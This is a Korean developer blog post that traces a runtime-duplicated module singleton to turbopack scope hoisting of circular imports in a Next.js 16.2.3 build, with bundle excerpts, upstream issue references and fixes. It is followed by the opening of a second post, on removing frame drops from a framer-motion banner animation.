이 분기에 들어왔다는 것은 `socket.client`가 없거나 연결이 열려 있지 않다는 뜻이다. 그런데 분기 안에서 `isSocketOpen()`을 다시 호출하면 `true`가 나왔다. 사이에 `await`도 없고 상태를 바꾸는 코드도 없다. `isSocketOpen`은 `socket.client?.readyState === WebSocket.OPEN`을 반환하는 세 줄짜리 함수다. 같은 `socket`을 읽는다면 `socket.client`가 falsy인데 `isSocketOpen()`이 true일 수는 없다.

이 관측 때문에 소스를 몇 번이고 다시 읽었지만 소스는 끝까지 정상이었다. 하루를 통째로 쓴 조사의 결론은 이렇다. **모듈 스코프 싱글톤 객체가 런타임에 두 벌 있었다.** `socket.client`를 읽은 코드와 `isSocketOpen()`이 서로 다른 `socket` 객체를 보고 있었던 것이다. 원인은 turbopack의 scope hoisting이 순환 import가 있는 모듈 그룹을 부분 병합하면서 만든 이중 접근 경로였고, 같은 구조를 겨냥한 결함이 조사 시점 기준 2주 전에 이미 upstream에 보고되어 다음 날 수정까지 끝나 있었다.

그리고 이 조사에는 사실 지름길이 있었다. 문제가 나타나기 직전에 바뀐 것은 Next.js 버전업뿐이었다. 그런데도 "설마 프레임워크 버전업 때문이겠어, 버그라면 당연히 내 코드에 있겠지"라며 그 사실을 넘겼다. 조사가 하루짜리가 된 원인의 대부분은 이 한 번의 판단이었고, 뒤에서 같이 정리한다.

> 이 장애는 Next.js `16.2.3`의 turbopack 프로덕션 빌드에서 겪었다. 사내 코드라 패키지·서비스 이름은 일반화했고, 인용한 번들 산출물은 실제 빌드 결과를 옮기되 모듈 ID와 식별자는 구조를 보존한 채 치환했다. upstream 근거로 인용한 vercel/next.js의 이슈·PR·커밋은 2026-08-18 기준 GitHub API로 존재와 머지 여부, 버전 태그 포함 여부를 직접 확인했다.

## 모듈 스코프 싱글톤이라는 관행

문제의 패키지는 상태를 이렇게 들고 있었다. 특별할 것 없는 구조다.

```ts
// socket.ts
const socket = {
  client: null,
  state: {
    requestCallbacks: {},
    // ...
  },
}

export default socket
```

이 패턴이 성립하는 근거는 ESM의 평가 의미론이다. 같은 모듈은 모듈 그래프 안에서 한 번만 평가되고, 이후의 모든 import는 캐시된 같은 인스턴스를 받는다. 그래서 어디서 import하든 `socket`은 같은 객체이고, 모듈 스코프에 객체를 하나 두는 것만으로 앱이 공유하는 싱글톤이 된다. React context 객체, ORM 커넥션 매니저, 이벤트 버스, 요청 콜백 레지스트리가 전부 이 보증 위에 서 있고, 번들러도 이 의미론을 보존하도록 만들어져 있다.

정확히 말하면 이 보증의 단위는 하나의 모듈 그래프다. 서버와 클라이언트처럼 그래프가 갈리거나, 버전 불일치로 패키지가 이중 설치되면 결함 없이도 인스턴스는 합법적으로 여러 개가 될 수 있다. 이번 사건이 이상했던 것은 그런 합법적 경로가 아니라, 하나의 클라이언트 그래프 안에서(뒤에서 보듯 심지어 하나의 청크 안에서) 분열이 일어났다는 점이다.

어느 경로로든 같은 모듈의 인스턴스가 두 벌이 되면, 들고 있던 상태의 종류에 따라 증상이 갈린다.

| 모듈 스코프 상태     | 두 벌이 되면                                                                                 |
| -------------------- | -------------------------------------------------------------------------------------------- |
| 연결 객체            | 중복 생성 가드가 다른 쪽 인스턴스의 연결을 못 봐서 연결이 2개 생긴다                         |
| 요청 콜백 레지스트리 | 등록과 조회가 다른 인스턴스에서 일어나, 응답이 도착해도 콜백을 못 찾고 타임아웃까지 매달린다 |
| 이벤트 리스너 참조   | `removeEventListener`가 다른 인스턴스의 참조로 실패해, 죽은 연결의 리스너가 영구 잔존한다    |
| React context        | provider와 consumer가 다른 context 객체를 잡아 `useContext`가 `undefined`를 반환한다         |

이번 사건에서는 위 두 줄이 실측으로 확인됐다. 요청 응답이 27–35ms에 도착했는데도 5초 뒤 타임아웃이 났고(콜백 레지스트리 분열), 연결이 2개 떴다(가드 분열). 셋째 줄은 직접 관측하지는 못했지만 같은 분열 구조에서 함께 진행됐을 것으로 본다. 여기에 전송이 연결을 자동으로 열지 않도록 막는 가드, 즉 증상 지점을 겨냥한 방어 코드를 넣자, 이번에는 즉시 실패와 3초 간격 재시도가 30회 넘게 반복되는 다른 증상이 나왔다. 근본을 모르는 채 증상 지점에 방어를 쌓으면 실패 모드만 바뀐다는 것을 몸으로 배웠다. 상태 자체를 수렴시키는 다른 종류의 방어는 해법에서 다시 나온다. 네 번째 줄의 React context는 뒤에 나올 upstream 이슈의 증상인데, 같은 결함이 터진 자리만 다른 경우다.

## 동기 구간에서 판정이 뒤집혔다

서론의 분기로 돌아가면, 저 관측을 잡은 것은 임시 진단 로그였다. 분기 안에서 세 가지를 같이 찍었다.

```text
[core] send:queue-branch {sendSaysOpen: true, openConstSame: true, sameSocketObject: false}
```

- `sendSaysOpen`: 분기 진입 직후 같은 `isSocketOpen()`을 다시 호출한 값. `true`인데 분기에 들어왔다는 것은 첫 번째 조건 `!socket.client`가 `true`였다는 뜻이다
- `openConstSame`: `WebSocket.OPEN` 전역 상수가 오염되지 않았는지. `true`라서 "계측 코드가 전역을 깨뜨렸다"는 가설은 죽었다
- `sameSocketObject`: 두 코드 경로가 읽는 `socket`의 객체 동일성(`===`) 비교. **`false`**

`sameSocketObject: false`가 결정적이었다. 여기서 얻은 교훈 하나는, 모듈 분열은 소스를 아무리 읽어도 보이지 않고 **런타임 객체 동일성 비교로만 잡힌다**는 것이다. 동기 구간에서 코드상 성립할 수 없는 판정 역전이 관측되면, 코드를 다시 읽는 대신 두 경로가 정말 같은 객체를 읽는지부터 찍어보는 편이 빠르다.

## 청크 가설, 그리고 반증

두 벌이라는 사실까지는 확정했는데, 어떻게 두 벌이 됐는지가 남았다. 첫 추측은 청크 분할이었다. 이 패키지는 rollup의 `preserveModules`로 파일별 mjs 50개를 배포한다. 단일 번들이었다면 청크가 어떻게 쪼개지든 `socket`은 한 파일 안에 있었을 테니, 파일이 나뉘어 있다는 것이 분열의 필요조건으로 보였다. 그래서 "작은 유틸 모듈이 공통 청크로 빠지면서 자기 의존성인 `socket.mjs`를 함께 담았고, 결과적으로 socket이 두 청크에 각각 들어간 것 아닐까"라는 가설을 세웠다.

검증은 로컬 재현 빌드로 했다. 배포된 청크를 직접 뒤지는 대신, 문제가 재현되던 패키지 버전으로 고정하고 같은 환경 변수의 빌드 스크립트를 turbopack으로 돌리면 문제의 socket이 담긴 청크를 포함해 **파일명이 배포본과 일치하는 산출물**이 나온다. 산출물의 청크 277개를 전부 grep했다.

```python
import glob, os

files = glob.glob('.next/static/chunks/**/*.js', recursive=True)
for marker in ['client:null', 'isSocketOpen']:
    hits = [(os.path.basename(f), open(f, encoding='utf-8', errors='ignore').read().count(marker))
            for f in files if marker in open(f, encoding='utf-8', errors='ignore').read()]
    print(marker, hits)
```

결과는 가설의 반증이었다. `socket`의 객체 리터럴(`client:null`)도, `isSocketOpen`의 본문도, 전송 함수도 **전부 같은 청크 하나에 각각 1번씩**만 있었다. 청크는 갈리지 않았다. 소스에 객체 리터럴이 1개, 산출물에도 1개인데 런타임에 객체가 2개인 상황이 된 것이다.

## 한 팩토리 안의 두 접근 경로

답은 그 청크 하나를 열어보고 나왔다. turbopack은 프로덕션 빌드에서 scope hoisting(webpack의 `concatenateModules`에 해당하는 최적화로, 여러 모듈을 하나의 함수 스코프로 병합해 모듈 간 참조를 일반 변수 접근으로 바꾸는 것)을 하는데, 이 패키지의 모듈 8개가 하나의 팩토리로 병합되어 있었다.

산출물을 읽기 전에 표기를 하나만 짚어두면, turbopack 런타임은 모듈 ID를 키로 각 모듈의 팩토리와 export를 보관하는 테이블을 둔다(이 글에서는 모듈 레지스트리라 부른다). 인용에 나오는 `e.s(exports, id)`는 그 테이블에 export를 등록하는 호출이고, `e.i(id)`는 ID로 다른 모듈의 export 객체를 조회하는 호출이다.

```text
748291, 130476, 862115, 57204, 495833, 620148, 379566, 214905, e => {
  "use strict";
  e.s(["default", () => el /* ... */], 748291)          // socket 모듈의 export 등록
  var i = e.i(503112), r = e.i(291503) /* ... */        // ← 291503 = checkStatus
  e.s(["send", () => ei], 379566)
  e.s(["openSocket", () => Z], 620148)
  // ...
  let el = {client: null, state: {/* ... */}}           // socket 객체 리터럴
}
```

그런데 `isSocketOpen`이 들어 있는 `checkStatus` 모듈(`291503`)만 이 병합에서 빠져 별도 모듈로 남았고, 그 안에서 socket을 **모듈 레지스트리를 경유해** 다시 가져온다.

```text
291503, e => {
  "use strict";
  e.s(["checkSocketConnected", () => n, "isSocketLoggedIn", () => r, "isSocketOpen", () => i])
  var t = e.i(748291)                                   // ← 레지스트리 경유로 socket을 참조
  let i = () => t.default.client?.readyState === WebSocket.OPEN
  // ...
}
```

그래서 같은 청크 안에 socket으로 가는 경로가 둘이 된다.

| 코드                                               | socket 접근 경로                      |
| -------------------------------------------------- | ------------------------------------- |
| 전송 함수, 연결 함수, 로그인 함수 (병합 그룹 내부) | `el` 변수 직접 접근                   |
| `isSocketOpen` (병합에서 제외된 291503)            | `e.i(748291).default` 레지스트리 조회 |

서론의 분기를 번들 기준으로 다시 쓰면 이렇다. 첫 번째 조건은 `el`을 직접 읽고, `isSocketOpen()`은 레지스트리를 읽는다.

```js
if (!el.client || !(0, r.isSocketOpen)()) {
```

`(0, fn)()`은 번들러가 this 바인딩 없이 함수를 호출할 때 쓰는 관용구이고, `r`은 위 팩토리가 `e.i(291503)`로 가져온 checkStatus 모듈이다. 즉 뒤쪽 호출은 레지스트리를 한 번 더 경유한다.

여기에 전제가 하나 더 있다. 소스 기준으로 `checkStatus.ts`는 `socket.ts`를 import하고, 병합 그룹 쪽에서는 전송 함수(`send.ts`)가 `checkStatus`를 import한다. 모듈 단위로는 `send → checkStatus → socket`의 사슬인데, send와 socket이 한 팩토리로 병합되어 있으므로 팩토리 기준으로는 자기 자신으로 되돌아오는 **순환**이다. 병합 팩토리가 평가되는 도중에 그룹 밖의 checkStatus로 나갔다가, 그 모듈이 다시 `e.i(748291)`로 그룹에 재진입하는 구조인 것이다.

여기까지가 산출물에서 직접 확인한 사실이다. 두 접근 경로의 존재, 순환 구조, 그리고 런타임에서 두 경로가 서로 다른 객체를 반환했다는 것까지는 확정이다. 남은 것은 마지막 한 고리, "재진입 시점에 정확히 어떤 런타임 동작으로 살아있는 객체가 두 개 만들어지는가"다. 가장 그럴듯한 추정은 재진입 경로에서 병합 팩토리가 한 번 더 평가되어 socket 리터럴이 두 번 실행됐고, 두 경로가 서로 다른 실행의 결과를 붙잡았다는 것이다. 다만 이 고리는 turbopack 런타임 내부를 끝까지 따라가지 못해 추정으로 남았다.

## 2주 전에 이미 고쳐진 버그였다

기전이 나왔으니 upstream에 알려진 문제인지 찾을 차례였다. 처음에는 못 찾았다. "module evaluated twice", "duplicate module instance", "circular import singleton" 같은 검색어가 전부 0건이었는데, 지금 보면 당연하다. 이 검색어들은 전부 **내가 겪은 증상의 어휘**다. 같은 번들러 결함이라도 이슈 제목은 그 결함이 터진 자리의 어휘로 붙는다. 검색어를 증상어에서 기전어로 바꿔 "turbopack scope hoisting"으로 훑자 한 번에 나왔다.

- [vercel/next.js#96648](https://github.com/vercel/next.js/issues/96648) "Turbopack scope hoisting breaks React context identity: …" (2026-08-04 제보, 08-05 close). 제보자의 증상은 provider가 위에 있는데 `useContext`가 `undefined`를 반환하는 것. context 객체의 동일성이 깨진, 같은 결함의 다른 얼굴이다. 제보자 스스로 "context 모듈이 병합 그룹들 사이에서 중복된 것 아닌가"라는 모듈 중복 가설을 적어두기도 했다
- [PR #96691](https://github.com/vercel/next.js/pull/96691) "Don't scope hoist partial strongly connected components". 폐기됐지만 제목이 이번 구조를 그대로 명명한다. 순환 그룹(strongly connected component)의 **일부만** 병합하는 것 자체를 버그 조건으로 다뤘다. 모듈 8개가 병합되고 순환 고리의 한 모듈만 빠진 이번 배치가 정확히 이것이다
- [PR #96697](https://github.com/vercel/next.js/pull/96697) "Raise registration calls in hoisted modules to the top". 채택된 수정이다

채택된 PR의 기전 서술은 산출물에서 읽어낸 구조와 같은 그림이다.

> Line 26 of scope-hoisting group A enters scope-hoisting group B, then on line 95 we re-enter scope-hoisting group A. Because our first execution of group A hadn't reached Line 29 yet to register schemas.js (which B depends on schemas.js). On non-scope hoisted modules with cycles we already raise the module registration call to the start of the factory. But when we scope hoist, we lose that.

병합 그룹 평가 도중 그룹 밖으로 나갔다가 재진입하는데, 그 시점에는 그룹의 export 등록이 아직 안 끝나 있다는 것이다. 순환이 있는 일반 모듈에서는 등록 호출을 팩토리 최상단으로 끌어올리는 처리를 원래 하고 있었는데, scope hoisting 경로에서 그것을 잃어버렸다고 한다. 수정은 병합 팩토리에서도 등록을 최상단으로 올리는 방식이다. PR 설명의 예시 귀결(등록 전에 심볼을 읽어 `undefined`)과 이번 관측(살아있는 객체 2개) 사이에는 팩토리 재평가라는 고리가 하나 더 필요한데, 그것이 앞 절 끝의 추정이다. 반면 이슈 쪽 관측(동일성 분열, 중복 가설)은 이번 증상과 같은 계열이다.

문제는 버전이다. 이 수정이 어느 릴리스에 들어 있는지를 릴리스 노트 대신 커밋과 태그의 조상 관계로 확인했다. `gh api`의 compare 엔드포인트로 `behind_by`가 0이면 그 태그에 커밋이 포함된 것이다.

```bash
$ gh api "repos/vercel/next.js/compare/40680b95...v16.2.12" --jq '{status, behind_by}'
{"status":"diverged","behind_by":1778}   # 16.2 라인 최신에도 미포함

$ gh api "repos/vercel/next.js/compare/fc7ae172...v16.3.1" --jq '{status, behind_by}'
{"status":"ahead","behind_by":0}         # 16.3.1에 포함
```

| 버전                         | 수정 포함 여부                                                                          |
| ---------------------------- | --------------------------------------------------------------------------------------- |
| 16.2.3 (장애 당시 사용 버전) | 미포함                                                                                  |
| 16.2.12 (16.2 라인 최신)     | 미포함                                                                                  |
| 16.3.1 이상                  | 포함 ([#97308](https://github.com/vercel/next.js/pull/97308) backport, 커밋 `fc7ae172`) |

backport는 `next-16-3` 브랜치로만 갔고 16.2 라인에는 들어오지 않았다. 16.2에 머무는 한 이 결함 위에서 산다는 뜻이다.

그리고 여기가 복선을 회수할 자리다. 제보일이 2026-08-04, 수정 머지가 08-05였고, 내 조사는 그로부터 2주 뒤였다. 조사를 시작한 시점에 이미 "바뀐 것은 Next.js 버전뿐"이라는 사실을 알고 있었다. 그런데 "설마 프레임워크 버전업이 원인이겠어"라고 넘기고 애플리케이션과 패키지 코드부터 팠다. 이 경험칙("컴파일러/프레임워크 탓이 아니다")은 십중팔구 옳아서 신뢰가 쌓여 있는데, 바로 그래서 틀리는 순간에 가장 비싸다. 실제로 #96648 제보자는 `experimental.turbopackScopeHoisting: false`와 `--webpack` 빌드를 대조하는 단일 변수 실험으로 원인을 turbopack에 고정했다. 나는 조사 당시 이 실험을 하지 않은 채 산출물 분석으로 우회했다. 물론 당시에는 증상 판독 자체가 흔들리고 있었으니(수신 로그 오독은 뒤에서 다룬다) 실험 한 번으로 깨끗하게 갈렸으리란 보장은 없다. 그래도 갈라보는 실험을 용의 목록에 올리는 비용은 0이었고, 그것조차 하지 않은 것이 문제였다. 그 실험은 결국 이 글을 정리하면서 뒤늦게 돌렸다.

## 빠져 있던 실험을 마저 하다

조건은 장애 당시 그대로다. Next.js 16.2.3(수정 미포함)에 문제가 재현되던 패키지 버전을 고정하고, `experimental.turbopackScopeHoisting: false` 하나만 토글해 빌드를 비교했다.

|                         | hoisting ON (장애 조건) | hoisting OFF            |
| ----------------------- | ----------------------- | ----------------------- |
| socket 모듈             | 8개 병합 팩토리         | 단독 팩토리 (병합 없음) |
| socket 리터럴 직접 접근 | 41곳                    | 0곳                     |
| 레지스트리 경유 접근    | 3곳                     | 44곳                    |

켜면 socket 접근이 직접 41곳과 레지스트리 3곳으로 갈리고, 끄면 44곳 전부가 레지스트리 단일 경로로 수렴한다. `sameSocketObject: false`가 나올 구조적 전제(두 접근 경로)는 scope hoisting의 산물이 맞다는 것이 단일 변수로 확인된 셈이다.

upstream 수정이 실제로 무엇을 바꾸는지도 산출물로 확인했다. 문제 버전 산출물에서 socket 자체의 등록은 팩토리 최상단에 있었지만, 같은 팩토리의 등록 4개(send, openSocket 포함)는 순환 이탈 지점(checkStatus를 가져오는 `e.i` 호출)보다 뒤에 있었다. 16.3.1로 올려 빌드하면 이 넷이 전부 이탈 지점 앞으로 올라온다. #96697이 말한 "등록을 최상단으로 올린다"가 이 산출물에서 실물로 일어난다.

정리하면 이렇다. 이중 경로가 hoisting의 산물이라는 것은 확인됐고, 상류 수정이 등록 순서를 실제로 교정한다는 것도 확인됐다. 다만 로컬 청크는 브라우저의 turbopack 런타임 없이는 평가할 수 없어서, 재진입 시 팩토리 평가가 실제로 몇 번 일어나는지, 즉 앞 절의 재평가 추정은 여전히 검증하지 못했다. 확인과 추정의 경계는 여기다.

## 해법은 셋이다

서로 결이 다른 해법이 셋 있고, 셋 다 유효하다.

가장 먼저 넣은 것은 `globalThis` 싱글톤이다. 모듈 스코프 대신 `globalThis`에 상태를 고정하면, 모듈 팩토리가 한 번 돌든 몇 번 돌든 상태는 하나로 수렴한다.

```ts
// internal/shared.ts
const SHARED_KEY = Symbol.for('@my-scope/realtime-core.shared/v2')

function createShared() {
  return {
    socket: {client: null, state: {requestCallbacks: {}}},
    pendingRequests: new Map(),
  }
}

const g = globalThis as {[SHARED_KEY]?: ReturnType<typeof createShared>}

export const shared = (g[SHARED_KEY] ??= createShared())
```

키를 `Symbol()`이 아니라 `Symbol.for()`로 만드는 것이 핵심이다. `Symbol()`은 모듈 사본마다 다른 심볼이 되어 방어가 무력해지고, `Symbol.for()`는 전역 심볼 레지스트리에서 같은 문자열이 항상 같은 심볼을 돌려주므로 어느 사본이 실행되든 같은 슬롯을 본다. 키에 메이저 버전을 넣어두는 것도 권하고 싶다. `globalThis`는 모듈 시스템보다 스코프가 넓어서, 소비자 앱에 이 패키지의 v2와 v3가 공존하게 되면 서로 다른 버전의 구현이 같은 상태 객체를 만지는 사고가 날 수 있기 때문이다.

이 방식은 중복 로드 자체를 막지는 않고 상태 분열만 막는 방어라는 점은 분명히 해두어야 한다. 그래도 이번 사건에서 가치가 증명됐다. 기전을 규명하기 전에 이 방어부터 넣었는데, 원인을 모르는 상태에서도 증상이 사라졌다. 앞에서 실패 모드만 바꿨던 증상 지점의 가드와 달리, 상태 자체를 한 슬롯으로 수렴시키는 방어라서 분열이 어떤 경로로 오든 막히기 때문이다.

원인 제거 쪽은 순환 import 끊기다. `checkStatus`가 `socket`을 import하지 않도록, 상태를 인자로 받게 바꾸면 순환이 사라진다.

```ts
// 순환을 만드는 형태
import socket from '../socket'
export const isSocketOpen = () => socket.client?.readyState === WebSocket.OPEN

// 순환을 끊은 형태
export const isSocketOpen = (socket: SocketState) =>
  socket.client?.readyState === WebSocket.OPEN
```

다만 이 패키지처럼 중앙 상태를 거의 모든 모듈이 참조하는 구조에서는 순환이 다시 생기기 쉽다. 하나를 끊었다고 끝나는 문제가 아니라서, 순환 제거는 진행하되 방어와 별개로 두는 것이 맞다고 생각한다.

마지막은 Next.js 16.3.1 이상으로 올리는 것이다. 등록 순서를 교정하는 수정이 들어 있고, 우리 산출물 기준으로 등록 4개가 이탈 지점 앞으로 올라오는 것까지 앞 절에서 확인했다. 부수 비용이 하나 있었는데, 재현 환경에서는 버전만 올리자 번들러와 무관하게 잠복해 있던 타입 오류가 먼저 터져 나왔다. 업그레이드에는 이런 정리가 선행된다.

그러면 업그레이드하고 나서 `globalThis` 방어를 걷어내도 될까. 걷어내지 않기로 했다. 라이브러리는 소비자의 번들러와 프레임워크 버전을 통제할 수 없다. 16.2 라인에는 backport가 없으니 16.2에 머무는 소비자는 여전히 결함 위에 있고, 번들러의 모듈 병합은 모듈 그래프 전체 형상에 의존하는 최적화라 같은 계열의 다음 결함이 어떤 조합에서 나올지 예측하기 어렵다. 모듈이 몇 벌로 로드되든 상태를 하나로 수렴시키는 방어는, 내가 아는 범위에서는 이것뿐이다. 산출물 스냅샷 검사나 객체 동일성 스모크 테스트는 결함을 탐지할 수는 있어도 증상을 막지는 못한다. "패키지가 싱글톤을 갖는다면 `globalThis`에 고정한다"를 컨벤션으로 두는 편이 현실적이라는 것이 이번 사건의 결론이다.

한 가지 덧붙이면, 이 방어를 코드에 남길 때는 "이것은 워크어라운드가 아니라 설계 판단"이라는 주석이나 문서를 같이 남겨두는 것이 좋다. 그렇지 않으면 몇 달 뒤 누군가 "upstream이 고쳐졌으니 이 전역 제거하자"는 PR을 올리고, 맥락을 모르는 리뷰어가 승인하는 경로가 열린다.

## 남는 것들

기술적인 결론은 위에서 끝났는데, 이 조사가 하루짜리가 된 이유는 따로 정리해둘 가치가 있다. 원인이 어려워서가 아니라 관측이 계속 거짓말을 했기 때문이다.

가장 큰 것은 이미 쓴 대로 용의자 선정의 실패인데, 그 뿌리에 "버그는 당연히 내 코드에 있다"는 직감이 있었다. 이 직감은 십중팔구 옳아서, 프레임워크와 번들러는 애초에 용의선상에 오르지도 않았다. 그래서 코드상 불가능한 관측을 앞에 두고도 의심의 방향이 계속 안쪽(내 소스, 내 계측, 내 설정)만 향했고, 가장 최근에 바뀐 것(프레임워크 버전)은 검증 없이 용의선상에서 내려갔다. 관측이 불가능해 보이면 보일수록 "내가 뭘 잘못 읽었겠지"로 회귀해 같은 소스만 계속 다시 읽게 되는데, 정작 답은 소스 바깥(번들 산출물)에 있었다. 경험칙이 대개 옳다는 사실이 검증을 생략할 이유는 되지 않는다는 것, 특히 실험을 용의 목록에 올려보는 비용이 0일 때는 더욱 그렇다는 것을 배웠다.

디버그 로그도 거짓말을 했다. 수신 이벤트 로그가 응답 도착 27ms에 찍혀 있어서 "응답은 정상 수신·처리됐다"고 읽었는데, 그 로그는 콜백 유무와 무관하게 항상 찍히는 위치에 있었다. 실제로는 콜백을 못 찾았고 5초 뒤 타임아웃이었다. **수신 로그는 수신의 증거이지 처리의 증거가 아니다.** 로그를 읽을 때는 그 로그가 어느 분기 안에서 찍히는지까지 봐야 한다.

잘못된 반증도 했다. "스택트레이스 오프셋이 같으니 모듈은 한 벌"이라고 판단했는데, 같은 코드를 공유하면서 모듈 레코드만 별개일 수 있으므로 틀렸다. 방법의 한계를 사실로 취급한 오판이었고, 이 오판 때문에 정답(인스턴스가 두 벌)을 한 번 버렸다가 되찾았다.

반대로 이번에 얻은 무기도 있다. upstream 이슈를 찾을 때는 내 증상의 어휘가 아니라 기전의 어휘(scope hoisting)로 먼저 훑어야 한다는 것. 그리고 "같은 청크에 있다"와 "같은 인스턴스다"는 다른 이야기라는 것이다. 번들러의 모듈 병합과 런타임의 모듈 레지스트리는 서로 다른 단계에서 일어나는 일이고, 한 청크 안에서도 접근 경로는 갈릴 수 있다.

모듈 스코프에 가변 상태(Map, Set, 레지스트리, 캐시)를 두고 export하는 패키지라면 어디든 같은 함정 위에 있다. 이번에 크게 터진 것은 상태가 많고 그 정합성이 곧 기능인 패키지였기 때문이지, 이 패키지가 특별해서가 아니다.

사족 하나. 실무를 잠시 떠나 있다가 오랜만에 복귀했는데, 돌아와서 처음 제대로 맞은 버그가 하필 이것이었다. app router를 처음 쓰던 시절 온갖 버그를 맞아가며 버전을 올리던 기억이 고스란히 되살아났고, 썩 즐거운 재회는 아니었다.

## 참고

- [vercel/next.js#96648 - Turbopack scope hoisting breaks React context identity](https://github.com/vercel/next.js/issues/96648)
- [vercel/next.js#96697 - \[turbopack\] Raise registration calls in hoisted modules to the top](https://github.com/vercel/next.js/pull/96697)
- [vercel/next.js#96691 - \[turbopack\] Don't scope hoist partial strongly connected components](https://github.com/vercel/next.js/pull/96691)
- [vercel/next.js#97308 - \[backport\] \[turbopack\] Raise registration calls in hoisted modules to the top](https://github.com/vercel/next.js/pull/97308)
- [webpack ModuleConcatenationPlugin (scope hoisting)](https://webpack.js.org/plugins/module-concatenation-plugin/)

---

Source: https://yceffort.kr/2026/08/framer-motion-banner-frame-drop.md
Title: framer-motion 배너에서 <em>프레임드랍</em> 없애기: 두 번의 삽질과 이징 함수
Description: framer-motion으로 만든 배너가 열리는 0.6초 동안 홈 전체가 버벅였다. 원인을 코드로 추정하고, 실측으로 두 번 뒤집히고, 결국 이징 함수 하나로 리플로우를 없애기까지의 기록. 그리고 이 작업이 남긴 것들: 선언과 실행의 간극, 속성이 성능을 결정한다는 원칙, 메커니즘 보존, 계측기를 의심하는 순서, 같음을 곡선으로 증명하는 방법.
Date: 2026-08-15
Tags: framer-motion, performance, animation, css, frontend

## Table of Contents

## 배너 하나가 열리는 0.6초

홈 상단에 배너 카드가 하나 열린다. [framer-motion](https://motion.dev/)의 `AnimatePresence`와 variants로 만든 평범한 등장 모션이고, 카드가 자리를 만들며 내려오고(0.4초), 그 위로 카드가 떠오른다(0.3~0.6초 구간). 데스크톱에서는 아무 문제가 없다. 그런데 폰에서 보면 이 0.6초 동안 화면 전체가 버벅인다. 배너만이 아니라, 배너 아래에 깔린 목록 전체가 함께 끊긴다. 저사양 폰만의 이야기도 아니었다. 최신 플래그십에서도 끊겼는데, 이게 왜 당연한 결과인지는 뒤에서 비용 모델과 함께 나온다.

프로파일러를 열어 보면 원인은 금방 보인다. 애니메이션이 도는 동안 매 프레임 Layout이 찍혀 있다. 배너는 `height: 0 → auto`를 애니메이션하고 있었고, `height`가 바뀔 때마다 그 아래 문서 전체가 다시 배치되고 있었다. 비용이 배너 크기가 아니라 **배너 아래에 깔린 문서 크기**에 비례하는 구조라서, 컴포넌트만 보면 가벼워 보이는데 실제 화면에서는 무겁다.

여기까지는 흔한 진단이다. 이 글이 기록하고 싶은 것은 그다음이다. "보이는 모션은 원본과 완전히 같게 두고, 프레임드랍만 없앤다"는 목표로 재구현을 시작했는데, 코드를 읽고 세운 가설이 실측 앞에서 두 번 무너졌다. 원본을 만든 사람의 의도와 원본이 실제로 실행하는 값조차 서로 달랐다. 그 과정을 거쳐 도달한 최종 해법은 코드 diff 기준으로 이징 함수 하나였는데, 돌아보면 그 한 줄보다 거기까지 가는 길에서 배운 것들이 더 오래 남을 것 같다. 그래서 글의 앞쪽 절반은 무슨 일이 있었는지의 기록이고, 뒤쪽 절반은 그 일이 남긴 것들을 하나씩 자세히 푸는 부분이다.

> 이 글의 코드 인용은 framer-motion `12.42.2`와 그 내부 엔진인 motion-dom `12.43.0` 기준이고, 소스 딥링크는 [motion 모노레포](https://github.com/motiondivision/motion)의 `v12.42.2` 태그로 걸었다(인용한 부분의 내용이 같은 것을 확인했다). 측정은 Apple Silicon macOS의 Chromium(트레이스는 CPU 4x 스로틀), 크로스 브라우저 확인은 Playwright `1.62.1`의 WebKit·Firefox로 했다. 전체 실험 코드는 [yceffort/banner-motion-lab](https://github.com/yceffort/banner-motion-lab)에 있다.

## 왜 구조적으로 끊기는가

원본 배너의 모션 정의는 대략 이렇다. 값은 실제 코드에서 옮겨온 것이다.

```tsx
const variants = {
  show: {
    height: 'auto',
    opacity: 1,
    scale: 1,
    transition: {
      duration: 0.3,
      ease: [0.65, 0, 0.35, 1],
      height: {delay: 0.1},
      opacity: {delay: 0.3},
      scale: {delay: 0.3, ease: [0.47, 0, 0.23, 1.38]},
    },
  },
  // hidden(퇴장)도 같은 구조
}
```

framer-motion이 GPU 가속, 정확히는 WAAPI(Web Animations API)로 넘길 수 있는 값의 목록은 motion-dom의 [`accelerated-values.ts`](https://github.com/motiondivision/motion/blob/v12.42.2/packages/motion-dom/src/animation/waapi/utils/accelerated-values.ts#L4-L10)에 하드코딩되어 있다.

```js
const acceleratedValues = new Set([
  'opacity',
  'clipPath',
  'filter',
  'transform',
  'backgroundColor',
])
```

`height`는 이 목록에 없다. 그래서 메인 스레드의 rAF 루프가 매 프레임 인라인 `height`를 px로 고쳐 쓰는 방식으로 돌아간다. 다만 이것을 framer-motion의 결함이라고 읽으면 원인을 잘못 짚은 것이다. 설령 WAAPI로 돌린다 해도 달라질 것이 없다. `height`는 레이아웃을 결정하는 속성이라 컴포지터(합성 스레드, 메인 스레드와 별개로 픽셀 합성만 담당하는 스레드)가 단독으로 애니메이션할 수 없고, 어떤 방식으로 값을 바꾸든 매 프레임 문서 리플로우가 따라온다.

실측으로 확인하면 이렇다. 400행짜리 목록을 깔아 둔 페이지에서 등장 애니메이션 1회를 CPU 4x 스로틀로 트레이스한 결과다.

|                         | Layout                   | Paint | PrePaint 합 |
| ----------------------- | ------------------------ | ----- | ----------- |
| 원본 (`height` 트윈)    | **25회 (매 프레임)**     | 53회  | 85.8ms      |
| 최종 구현 (계단 + FLIP) | **10회 (불연속 시점만)** | 8회   | 6.8ms       |

한 가지 정직하게 적어 두면, 이 데모 머신(M 계열 맥북)에서는 4x 스로틀을 걸어도 애니메이션이 진행되는 동안의 드랍이 없었다. 프레임당 3ms 안팎은 16.7ms 예산 안이기 때문이다. 하지만 이 비용은 문서 크기에 선형으로 비례하고, 예산 쪽도 데스크톱 기준으로 생각하면 안 된다. 실제 서비스에서 이 배너는 최신 플래그십 폰에서도 끊겼는데, 조건을 세어 보면 당연한 일이었다. 실제 홈은 데모보다 훨씬 무거운 수천 노드 문서이고, 배너가 등장하는 시점은 하이드레이션과 데이터 로딩으로 메인 스레드가 가장 바쁜 초기 로딩 직후이고, 플래그십일수록 120Hz라 프레임 예산이 16.7ms가 아니라 8.3ms로 반토막이다. 즉 조건은 "저사양"이 아니라 **프레임 예산 대비 비용**이고, 원본은 그 비용이 문서 크기에 비례하는 쪽에 서 있다. 최종 구현의 프레임당 비용은 문서 크기와 무관하다.

